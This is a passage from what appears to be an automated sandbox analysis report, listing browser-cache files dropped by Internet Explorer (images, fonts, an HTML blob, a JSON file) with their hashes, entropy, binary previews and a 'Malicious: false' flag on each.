SSDEEP:	96:BGqEEm2urwsHGessKGE3K0rNIRJohvE5Y82uqYg3Hwr9eZLVxJ6tgEA7Nj8kTHAV:BbKP3st62IRJU6D5g3g0Z5SJA7J8k8V
MD5:	FF8D9938C29C737E04D9024306F0CAA8
SHA1:	31DB348F0249FE189B3799D9D514777D6A68039C
SHA-256:	7EF1606B8A6F0D77D26D42B4F952C5DD0AFCC07477EECFC5587FD28915019B3C
SHA-512:	1F3F436DDFF28DBAB2D506CB2A88B174FD701BF8140ECD23788798EE013D3A24DF54CEBA040ADD5CCF6A838B158F8A41F4ECD80BA56695AF0A9D0739BDAFE764
Malicious:	false
Preview:	......JFIF.............C................ .....'... .)10.)-,3:J>36F7,-@WAFLNRSR2>ZaZP`JQRO...C.......&..&O5-5OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO........,.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..h...;E..(.h...)h.....S....\R.@.)@.....&)@..{_....92L.r........U..)XJ.E......j.[%....^....bG.T..?..fI.m![.........../....r.i.G(s..'.....g\|...?..G.r.m....:.pFA..r..P..x.Lv.$7........8..g+.......$.9.L.x.<...1.0x.F..z..t....1Z...U.....,J.y..W..b...[\I........q.#...\>..3,:.@.x.^T.....v....bH%I....6EKE'p".R.M"...4.)1@....P1))h.......JZ(.)i.-...Q@.-%-.....@...R.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\VAHFWDJC\BB1blXZP[1].jpg Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 304x304, segment length 16, baseline, precision 8, 311x333, frames 3
Category:	dropped
Size (bytes):	21965
Entropy (8bit):	7.967326256060838
Encrypted:	false
SSDEEP:	384:2CN4YU4zybHWCtVJXLrmfYqTpTRyZ8bx0uRCadnFJaZJnyf5q0m9ft8Wqz8q:2CdUjHWCbBLlORK8eICLZJyfTm9ft8Oq
MD5:	F04D86E6BE0FEE8097FD920C8E347A5A
SHA1:	CE6E72B65B3FF5456D6697516CC7C23FF5251F1A
SHA-256:	F96F3A5ED125DBC78E73C810C13B676A2C7B692C275924E89C3EF2F472089738
SHA-512:	5C80A2009085EB878BFA6C2082739461D739AF061129AF4EFF6E63B08ABA7DB32320F7E9E97D163C976C0D7585C35DFF15676CAAC71EA014698AECA8685C68A6
Malicious:	false
Preview:	......JFIF.....0.0.....C................ .....'... .)10.)-,3:J>36F7,-@WAFLNRSR2>ZaZP`JQRO...C.......&..&O5-5OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO......M.7.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?......{.......G)..V.....j.l....xa.....x.v.0.oJ.F..sNWF.lZ.U.{x..Q.(.q..%....#.1...\|.....U...'....5ZCs9.)f.5R.".[..6)sm-.3E",..=Ef.\......L..9?..H.T.+..G..J..Q..Z....Vf..-...gix.R.?.L....7.j.D2.C..U.........`;.....X..k...$..lNwHW.})..h].H.6...T/.c#.....R.......W;.k..Q.........w..U.d..W.H.m.@.....O....5.I..n.Z...D...$......F.&....".H.V.?..D.\|.#..<.!x.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\VAHFWDJC\BB1blhpm[1].jpg Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 0x0, segment length 16, baseline, precision 8, 310x166, frames 3
Category:	dropped
Size (bytes):	10172
Entropy (8bit):	7.946091283857571
Encrypted:	false
SSDEEP:	192:BFVJeOr7fR+2nauWYTXyIHMh6+oLZzs2IdsSLT3vc6ve/JXqous6jOV3:vVJee0NyXZwg/uB3vnv8xFuo3
MD5:	B5C20971FDA851880920F8899CFF83B0
SHA1:	B4BC2427CF49F37886B1E3E581E64E7E9EB2A341
SHA-256:	0269178896150593CC803185B80AB5EA3C312041FE2BBE4F44938766250B71A4
SHA-512:	7E84F1FF7AAEE1D3A0316262F95D24123FC560AC87D303A1516EB67E1432E9EF6B9B2BAB56F6460D02E6FAEEB3E37D91CD7BDAE32A1C26AF2A3D5D6FC99E1A81
Malicious:	false
Preview:	......JFIF.............C................ .....'... .)10.)-,3:J>36F7,-@WAFLNRSR2>ZaZP`JQRO...C.......&..&O5-5OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO........6.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....@<.<..}...!....l........T."...JZ)..QE..QE...Q@.J))i.....!...9#~H....Z5..=Mv.l.0.,....:....jT..dT]....B..2.....O..)X.R".l.H...;...T7..$yg.7.pPrs...._.t..51.!Q.'.S.O..z:SL...D...Z....c.L......{...`mS.w...W...s=.<.P...g...V.jz.=:...XJ.+.....Q.:-%.9.*..@O$T.,.kd/#...SX.;S5.V..#U.(..U.V7<..01..W.V..=.B.....i6J...\.\z.[.......Q..`.d..Qd....[.w..z.+..V.0...H.=.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\VAHFWDJC\BB1bm0ks[1].jpg Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 0x0, segment length 16, baseline, precision 8, 311x333, frames 3
Category:	dropped
Size (bytes):	27693
Entropy (8bit):	7.963909755918304
Encrypted:	false
SSDEEP:	768:emhnAIybzsxhqHHFp/5eZKr4V6FXgxr15mP:eiQbAbMlZgK1wN+
MD5:	AD2501FA0588E4C74C4E8B9158A042B5
SHA1:	BE656396F6D0DAFF7719179668DADD5583388329
SHA-256:	CBA9540653A98E5AF9FF034850D42C4EFD86CC57519CBCA9CF95F8F97BA2807D
SHA-512:	4FC00F15FB0479D38B36E03C15887580042F3CDCF5CEC2D806FDA9016680D1B11FB6BDE1D4BAD5C4158505E3DE06D59D1AD5DE96D724CDD0169BECF7D81142A6
Malicious:	false
Preview:	......JFIF.............C................ .....'... .)10.)-,3:J>36F7,-@WAFLNRSR2>ZaZP`JQRO...C.......&..&O5-5OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO......M.7.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?......K.....4..Wm....E...TTE.\|...M ..j.Yu....B...@..T.E.....c,c...\...P.5.P.w.gR/.~i.z.{....m..I....O..`<.;S...]......b.x.,.s.!.._..C...a...4..V.r.w.GRy..3..\B..RO..O...U.....]..:...;.P..v...N....8..GrD.O.+.r_.....i~.q...:.........zE..'.5I.2..$.....3...in...;x..O..aj\..ig%..%.1...q.j....S\j..,..:....NqY7..v....u...=0.......?J,..\|>...........Ur.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\VAHFWDJC\BB1bm1JL[1].jpg Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 0x0, segment length 16, baseline, precision 8, 311x333, frames 3
Category:	dropped
Size (bytes):	10987
Entropy (8bit):	7.933790040414946
Encrypted:	false
SSDEEP:	192:BYMHczd0JN12oHo2pjgid4nkwz9GHWL18dPDg3THN8Jud8Ud:e0n2oHo2tglnkm9GHWL1UL6THN8Jund
MD5:	EA4A0D5B4D1D8AD36AF18C197959F08C
SHA1:	D1D888870BBB0D27B59EE95F4DE8010EA3D665E1
SHA-256:	20E88A77353182AC364B13A81D73553642293593CAAC20147C7FF39FD53A00EC
SHA-512:	8F122E9059D7DB92047E85893C9E71484BF370ED2B313A108945AB3C0C84B8289581D7C9921B4DD265B3222518716B90D043F82815D3A1FCF70CB43EF8F66779
Malicious:	false
Preview:	......JFIF.............C................ .....'... .)10.)-,3:J>36F7,-@WAFLNRSR2>ZaZP`JQRO...C.......&..&O5-5OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO......M.7.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.......7.w(y...Q...~i)...E.}-3w.n..IFi...N.?v(.Q.u+.&.n.f.ij....7TE.7.p%.(5..7.q..}W.(.)\....U..O6..r..].XKN....,n.5..G.E..u...2......-P..J.HM%3}....&i....SwQ.S.is.azB.4T;....sFk.r.O.Ro..sJ...G0s.n9.9..GZim........=}j......*.n..@?.H.L..%.C.g.S.\........h..B....V....T6..rb..."H4........IG0..-M-.Bi..a\v.F.m.s..-I.zJ)s...h.h....p.i..&.1.w...iwS)sG0\v.K......\|.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\VAHFWDJC\BB1bm6pW[1].jpg Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 300x300, segment length 16, baseline, precision 8, 310x166, frames 3
Category:	dropped
Size (bytes):	6334
Entropy (8bit):	7.915112587385849
Encrypted:	false
SSDEEP:	192:BFyLfcOHeT3eiN83eS59BKgrKxAm/SqJrkDb:vvbTzN8uS5OIKKmfrkDb
MD5:	C9E2B0DF7BC993BDE9E34A2029AF0495
SHA1:	C1536BE3C2D9F5AEAC13CDAC94EC1E17E9D076E3
SHA-256:	8627CA696FCAB27DE7F91E8A06F2C69F6E079EDBA376875DD78E378C3C733D21
SHA-512:	1F5CE52BC3D0C94822FA9F7A83D754B812AA89C18966153591F0B3AB13708EA3F126745AF1FED9CE2A14B25F87E6F4889640A556D7D2FC313FEB6B3E0E82C717
Malicious:	false
Preview:	......JFIF.....,.,.....C................ .....'... .)10.)-,3:J>36F7,-@WAFLNRSR2>ZaZP`JQRO...C.......&..&O5-5OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO........6.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..(...QE.P..E..R.@....(....%.GpN....wP......3../....[../.\@..fE_..~........69.`..st.J].....zd...0.~Q..^.z....(......m...x.4..5<...w.Fh..m...Je.29..\|.qI.}...=)N..x...:......P.A...c....J....84...v.0.3@.H'.)....g.NPOJ....mX..W....>...6.p.s.w.a.9...5.....U&V..0>.........u.p.K.>...^...W*"....A......L...<../.R...h...Q@.......J(..))h.h....-.....QE..i(...L...R...l.!..H.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\VAHFWDJC\BB1bm7i2[1].jpg Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 300x300, segment length 16, baseline, precision 8, 311x333, frames 3
Category:	dropped
Size (bytes):	15321
Entropy (8bit):	7.955748203291322
Encrypted:	false
SSDEEP:	384:ewigEVu9PSHTvBzdfv/WywyKpmAiLt1yVZZ/kNrs:e5gEV0SzvBzdO7/wAiLtsZZ6s
MD5:	FC2ED8EC1C9B0E6AE4BED1E20820DFB7
SHA1:	5B2D59DFB18FA78B0FBF82BCDD1A49C5F87865BD
SHA-256:	B483AC2FA30B6C58BAD76B040564CB67E9F21B6A4BDC6913809286BD8A11E5F4
SHA-512:	EFB89592B793C41E8C4C08CBD151CB1653CC1094D0B564B3969FFA8ADD092283F42FBCD208B5AAD67A4E7C33827284E20D0F8B0E493EBFB5D6A79932119E854D
Malicious:	false
Preview:	......JFIF.....,.,.....C................ .....'... .)10.)-,3:J>36F7,-@WAFLNRSR2>ZaZP`JQRO...C.......&..&O5-5OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO......M.7.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..)).......b..F)qF(.))....R..P.QF)q@.E.)1@.(.....Z1@......q..(.3....)...."...b.E ..\Q..JJv(..6.N..S.....1@.......6.u....N.....N....Q.Z).J(...1E..QF(...(...b.(.("...LRb.E.6...b...\Q@.@=EFc..T.b.X....}.(.aE%-.%4.....@......A.h.t<SI .L.`.4.....w..`.`...hY.....gj7Q`.r.UP...L..(..IE!=.( ..0....Z(...(...(....RS.qE.R........b....cL.b.......;~8=h.... ... 9..11F(..h.6.R...

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\VAHFWDJC\BB1bm99L[1].jpg Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 0x0, segment length 16, baseline, precision 8, 310x166, frames 3
Category:	dropped
Size (bytes):	9613
Entropy (8bit):	7.948562644125761
Encrypted:	false
SSDEEP:	192:BFXYrBAnbrzOlVzw4Ib3pMizNVr8QBgHSbr3myxA11i4ZADKS+:vXS2bOP3Il16qA1o4N
MD5:	516A769BC7803F3EF295B1E146D04C07
SHA1:	C4DB1B5D55806C2FD928FC9D57C85B71E77D7E6A
SHA-256:	2003761CB7309C1E5A987D3990443E445CDC6DA8D28FAF3AB42173E8AA7FF6C8
SHA-512:	85B760E3DDA63AAC2C2CB1C2C8660E49B77ED139770B83BECCA081F58EE411B9573FE8E42B4FFD677BDD949645B05B8705B77BA33782AC859310FEE5B9CE7A7D
Malicious:	false
Preview:	......JFIF.............C................ .....'... .)10.)-,3:J>36F7,-@WAFLNRSR2>ZaZP`JQRO...C.......&..&O5-5OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO........6.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..u $.........*.....D.....J.../...,..=.3..q.....C......5.6.G..:..#..q..zT....'##..+.!...[.dw.k..Suq0..{...S.....U..A.K.5B...aIW.........m..t$Q....<..X.(F9.+..e..g.G,.?.....u..^.jLh..^]..y.Et..h...q.....^.t...L...~.r...... .....z...F\|.5..x...g..b.e.~....=./_..g.ehIYHd.X.9c...f.v..cqy.3.&../.:.4.e..s..../....9..L.-...^1Y#..B.kH.......U.".&.KpxO...~9#.....k.g.T.L

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\VAHFWDJC\BB1bmbX8[1].jpg Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 100x100, segment length 16, baseline, precision 8, 311x333, frames 3
Category:	dropped
Size (bytes):	28530
Entropy (8bit):	7.96343741417869
Encrypted:	false
SSDEEP:	768:+9dYrvcJXcdWUpNHIDFvLSKCV/D+cArLPYh:+PYo1KWUtKCV/6cArLPYh
MD5:	0BB8AAF7E97484ADAEACAFC4E8522C6B
SHA1:	66B06303C7D5B93AE2B3E3F54A998B5172705F56
SHA-256:	C3880885A6E9C942D55F24E49D2F0968B5A4B36242BA57A6C68D59BC464EA1FF
SHA-512:	86A77B3069B15EBF358392961F7F84876959504FCA97A89CB4EA46AB9F4B23169109101988B1261A52B737304DC281E94B44B7D5D968447DF1BB80B7BB324157
Malicious:	false
Preview:	......JFIF.....d.d.....C................ .....'... .)10.)-,3:J>36F7,-@WAFLNRSR2>ZaZP`JQRO...C.......&..&O5-5OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO......M.7.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..X1l..&..H...".....G.....&.7.........x.....<.zS...+...;6..N../Y.+.;Tw.qZ.>)...c:Jy..fu.2H.A...s0..,..uI>.E._I...v..]e.?p.chbr.n .s...o..A.JDH..~.N..M\N....9.......o...-i.6....S.i...Y.e.....(..q...T.]...)..>...8..N...f...7.\|Q.t...1...}x....kK....m.X.]....w..u[...s{,..~....qU....b..s.+..e.....d....3.......O[....^_0.r..s..q#9..kKK...U..b%.......&...:.5/...

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\VAHFWDJC\BBm3cxL[1].png Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	modified
Size (bytes):	409
Entropy (8bit):	7.162925243111881
Encrypted:	false
SSDEEP:	12:6v/78/qo6q7hY4BlBsu4DfRPj2jTdL+QN:Kq7TB94riTdLjN
MD5:	255C4ADC720952309B7FB0FB82F71FA1
SHA1:	A56A3F8DD9FC6210FA0E879099EA6B41767B0FAD
SHA-256:	DF119BFB2C6B4C5F3F0F19645F5D5DD3E4F8022CAA8C1D7FC205BA0137FF806F
SHA-512:	FFE310F2F50046E7193DA6DD145FF67CDA6E4549F9BA787FD905E6A8E44E0838C0CEF7DC03F97D6F39A85CB78DBE231522FC08BF8C38C18D88B7C3AD37EE2F91
Malicious:	false
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....IDAT8O..N.@.......5D..5..%o....../.&...4HK......^.\.e..lv...~.!...V(.CsD..7&..:X....mc......U.+.Y.R..aM..{....r,.X.........U.>..d...[D.>.{.....w...@.=X#..n...j.'Pa.,.....S....&...6.A.Y...<J........y.A..X.*.u..}..%..T.).n.a.)..j$.,5..LC..\@"..T....M(..j".....Zo..N..1\#.r.lV...?...=.......IEND.B`.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\VAHFWDJC\MWFMDL2[1].ttf Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	TrueType Font data, 15 tables, 1st "OS/2", 37 names, Microsoft, language 0x403, type 2 string, Normaloby
Category:	dropped
Size (bytes):	20040
Entropy (8bit):	6.19996057371802
Encrypted:	false
SSDEEP:	384:FrnW7NB829nIBLy9oHPGWyFLenP+zQgnZfncO/A/xio:cA2wy9oHhsemzFvcOjo
MD5:	5410C5517F1BBEB51E2D0F43BC6B4309
SHA1:	4ADF2D3A889A8F9D71FAC262297302086A4A03F4
SHA-256:	2F4E38662C0FF2FAB3EB09DCB457CD0778501BFFEE4026F6B0D9364ABB05DB46
SHA-512:	E0EF3BCA5CEF4B6B69CE09FC5295E21A5D151912585AE80703139550BD222EF463CBA856EA7F37E9D8BEF21EEBD7790E3A7D81D580469997A8708B11B00E61BD
Malicious:	false
Preview:	...........pOS/2JZxh.......`VDMX.^.q...\....cmap.ph....<....cvt ...........fpgm..........Ygasp.......`....glyfoV."...l..7.head.k....C(...6hhea......C`...$hmtx.F.E..C.....loca.Y....Dt....maxp......E\... name..b...E\|....post.Q.w..MT... prepx.....Mt.................3.......3.....f..............................MS .@...B......................... ................................................................................................................................................................... . ...!.!..."."...#.#...$.$...%.%...&.&...'.'...(.(...).)....*...+.+...,.,...-.-........././...0.0...1.1...2.2...3.3...4.4...5.5...6.6...7.7...8.8...9.9...:.:...;.;...<.<...=.=...>.>...?.?...@.@...A.A...B.B...C.C...D.D...E.E...F.F...G.G...H.H...I.I...J.J...K.K...L.L...M.M...N.N...O.O...P.P...Q.Q...R.R...S.S...T.T...U.U...V.V...W.W...X.X...Y.Y...Z.Z...[.[...\.\...].]...^.^..._._...`.`...a.a...b.b...c.c...d.d...e.e...f.f...g.g...h.h...i.i...j.j...k.k...l.l...m.m...n.n...o.o...p.p...q.q..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\VAHFWDJC\MWFMDL2[1].woff Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	Web Open Font Format, TrueType, length 11480, version 0.0
Category:	dropped
Size (bytes):	11480
Entropy (8bit):	7.941998534530738
Encrypted:	false
SSDEEP:	192:QNhlpX236n8/cliy01vRGeJsqVZJZmKgiiwEkyaGG1QfPujdI5v9QtAOcAue2HCZ:QnjX23W8UcvRaqVZdgiiyRQf2+5v9Q0q
MD5:	5ED659CF5FC777935283BBC8AE7CC19A
SHA1:	A0490A2C4ADDD69A146A3B86C56722F89904B2F6
SHA-256:	31B8037945123706CB78D80D4D762695DF8C0755E9F7412E9961953B375708AE
SHA-512:	FCCBE358427808D44F5CDFCF1B0C5521C793716051A3777AAFDE84288FF531F3E68FBC2C2341BBFA7B495A31628EAB221A1F2BD3B0D2CC9DD7C1D3508FDE4A2F
Malicious:	false
Preview:	wOFF......,.......NH........................OS/2...X...H...`JZxhVDMX.............^.qcmap.............ph.cvt ...l... .......fpgm...........Y...gasp...\|............glyf...... ...7.oV."head..'X...0...6.k..hhea..'........$....hmtx..'....v.....F.Eloca..(..........Y..maxp..).... ... ....name..) ..........b.post..,8....... .Q.wprep..,L........x...x.c`f..8.....u..1...4.f...$..........@ .............8.\|...V...)00......x...S......._..m.m.m.m.m;e..y.~.......<p..a.0t.&...a.pa.0B.1..F...Q.ha.0F.3.....q.xa.0A.0L.&...I.da.0E.2L....i.ta.0C.1..f...Y.la.0G.3.....y.\|a..@X0,.....E.ba.DX2,....e.ra..BX1..V...U.ja..FX3.....u.za..A.0l.6...M.fa.E.2l....m.va..C.1..v...].na..G.3......}.~a.p@80......C.a..pD82.....c.q..pB81..N...S.i..pF83.....s.y..pA.0\.....K.e..pE.2\....k.u..pC.1..n...[.m..pG.3......{.}...@x0<.....G.c...Dx2<....g.s...Bx1..^...W.k...Fx3.....w.{...A.0\|.>...O.g...E.2\|....o.w...C.1..~..._.o..08........?..0$........x..AHTq.../..$mk...E#.L.<.X,..D..P..:T.$Y.x....!.u...!J..(.X

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\VAHFWDJC\RCGhIjX0[1].htm Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	294332
Entropy (8bit):	5.999916338080061
Encrypted:	false
SSDEEP:	6144:NgbDN78kLGvdyS63RL8SM3h1uWviHYrs7oknVK2psTueakeHqHL:NgnNL9SW8SM7OokVTsqklL
MD5:	E86F62DCBA8338A75C1D07277B5E18F1
SHA1:	EB7FDE97767E5EA622A60803E561DF4F4CED5982
SHA-256:	25467B7CBC6DA6B05503ACB9F900057272DE97EF5CCA5552441F276B6961A775
SHA-512:	C7A77BDCA67933C7068948378A184513C67580188932C64E6CE04180AAD2747DAA5C9570344C30500847335A58CCD9CE223E1CD06101579D39A988F33C655A2F
Malicious:	false
Preview:	5Jgb7rWPXyPQpoJkKLVDJAQK6MdiLg7JnIi3RcDU5PxpNRX47UkXo+vSfZwaTYA1Z3ZiH3/3vLK7+SQ4qls1JdGkCItV3ne2IX2aB4G64Iq/krQ3gSABWoDBtkK9h4LWA4OjWHcPQLQbcIk7sMKJQ57Is01S3Uc03s58nZpNYZcZZScWzrm6NdaOrxXFCJPRgvV2j/aGFT3Uc8d44M2q2DvpOYi1FsHOKz1dZE/C57qXup5Ym7Qcjh+vtCxwY2Miu9pNfrH3ZQeHXbSqWO3e4+b/LNy2lYl3rMji0dzvi5fWYp8iSliDje+ebcFHdAsc+wJ3J1dTMkTv69WJXtcbAtisyjc19T1rTI8OVW6A2TGEJ+tip/wp1whBex9AkMO83Zs5L4H23ekZzVt6P4cqL7t4YC1VzAJ6r+LBB5niRePR3M3H2KYvIPzuNirMrRpPw6Xnu+xPIT6WqXptbs4OUVHp48rRxy9RO88atMd7aYQlFFz6hcnsxOjpzEfNNwx22eXfYA6l2DlK8ks0P+oeRfbbC2MxC3727VJO7sWH+6x3AyxA6VW2JT8mIW4ZBcoW7JIP37avK1tXtwUewsm3tg+aW37WLWA0fMlPCqdWWth40R4VqjgnZHi/TlSKpTroH8N1hi6UqTWQk1xGcsKUqj0gc/czf8zzEXsDs8Mg7Gj5+tNuKsEygv1znGAOm2JBDfUFX+vtdib2mMtF6YJRuNCP9rQOo+GpTTr62a5RVheq45NJ4P9jGDWWI4WntuEGZHUv68PV2OdzZwVYy3FVsR3ox8UpzGBCJGCPSey0RIgn/ctApYl7+IlUsh5+9uHSy8m76N3+Awk+mJh7++HjZWxIudjKa+w/AcHQIselDdkVzFT3t0gpO5boJZ1m5Ohnpki0M4nbyrq5MUdHaw2mJGCMAsdFVkPBXGkIVaSg7nOMIjXrnPfQCuad6qptKPl1axQthAydg4VyQ2i7VIuttUhMDd03LX8hOSPKIlWi

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\VAHFWDJC\a5ea21[1].ico Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	PNG image data, 32 x 32, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	758
Entropy (8bit):	7.432323547387593
Encrypted:	false
SSDEEP:	12:6v/792/6TCfasyRmQ/iyzH48qyNkWCj7ev50C5qABOTo+CGB++yg43qX4b9uTmMI:F/6easyD/iCHLSWWqyCoTTdTc+yhaX4v
MD5:	84CC977D0EB148166481B01D8418E375
SHA1:	00E2461BCD67D7BA511DB230415000AEFBD30D2D
SHA-256:	BBF8DA37D92138CC08FFEEC8E3379C334988D5AE99F4415579999BFBBB57A66C
SHA-512:	F47A507077F9173FB07EC200C2677BA5F783D645BE100F12EFE71F701A74272A98E853C4FAB63740D685853935D545730992D0004C9D2FE8E1965445CAB509C3
Malicious:	false
Preview:	.PNG........IHDR... ... ............pHYs.................vpAg... ... ........eIDATH...o.@../..MT..KY..P!9^....:UjS..T."P.(R.PZ.KQZ.S. ....,v2.^.....9/t....K..;_ }'.....~..qK..i.;.B..2.`.C...B........<...CB.....).....;..Bx..2.}.. ._>w!..%B..{.d...LCgz..j/.7D..M..............'.HK..j%.!DOf7......C.]._Z.f+..1.I+.;.Mf....L:Vhg..[.. ..O:..1.a....F..S.D...8<n.V.7M.....cY@.......4.D..kn%.e.A.@lA.,>\.Q\|.N.P........<.!....ip...y..U....J...9...R..mgp}vvn.f4$..X.E.1.T...?.....'.wz..U...../[...z..(DB.B(....-........B.=m.3......X...p...Y........w..<.........8...3.;.0....(..I...A..6f.g.xF..7h.Gmq\|....gz_Z...x..0F'..........x..=Y}.,jT..R......72w/...Bh..5..C...2.06`........8@A..."zTXtSoftware..x.sL.OJU..MLO.JML.../.....M....IEND.B`.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\VAHFWDJC\a8a064[1].gif Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	GIF image data, version 89a, 28 x 28
Category:	dropped
Size (bytes):	16360
Entropy (8bit):	7.019403238999426
Encrypted:	false
SSDEEP:	384:g2SEiHys4AeP/6ygbkUZp72i+ccys4AeP/6ygbkUZaoGBm:g2Tjs4Ae36kOpqi+c/s4Ae36kOaoGm
MD5:	3CC1C4952C8DC47B76BE62DC076CE3EB
SHA1:	65F5CE29BBC6E0C07C6FEC9B96884E38A14A5979
SHA-256:	10E48837F429E208A5714D7290A44CD704DD08BF4690F1ABA93C318A30C802D9
SHA-512:	5CC1E6F9DACA9CEAB56BD2ECEEB7A523272A664FE8EE4BB0ADA5AF983BA98DBA8ECF3848390DF65DA929A954AC211FF87CE4DBFDC11F5DF0C6E3FEA8A5740EF7
Malicious:	false
Preview:	GIF89a.......dbd...........lnl.........trt..................!..NETSCAPE2.0.....!.......,..........+..I..8...`(.di.h..l.p,..(.........5H.....!.......,.........dbd...........lnl......dfd....................../..I..8...`(.di.h..l..e.....Q... ..-.3...r...!.......,.........dbd..............tvt...........................*P.I..8...`(.di.h.v.....A<.. ......pH,.A..!.......,.........dbd........\|~\|......trt...ljl.........dfd......................................................B`%.di.h..l.p,.t]S......^..hD..F. .L..tJ.Z..l.080y..ag+...b.H...!.......,.........dbd.............ljl.............dfd........lnl..............................................B.$.di.h..l.p.'J#............9..Eq.l:..tJ......E.B...#.....N...!.......,.........dbd...........tvt.....ljl.......dfd.........\|~\|.............................................D.$.di.h..l.NC.....C...0..)Q..t...L:..tJ.....T..%...@.UH...z.n.....!.......,.........dbd..............lnl.........ljl......dfd...........trt...

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\VAHFWDJC\de-ch[1].json Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	UTF-8 Unicode text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	74702
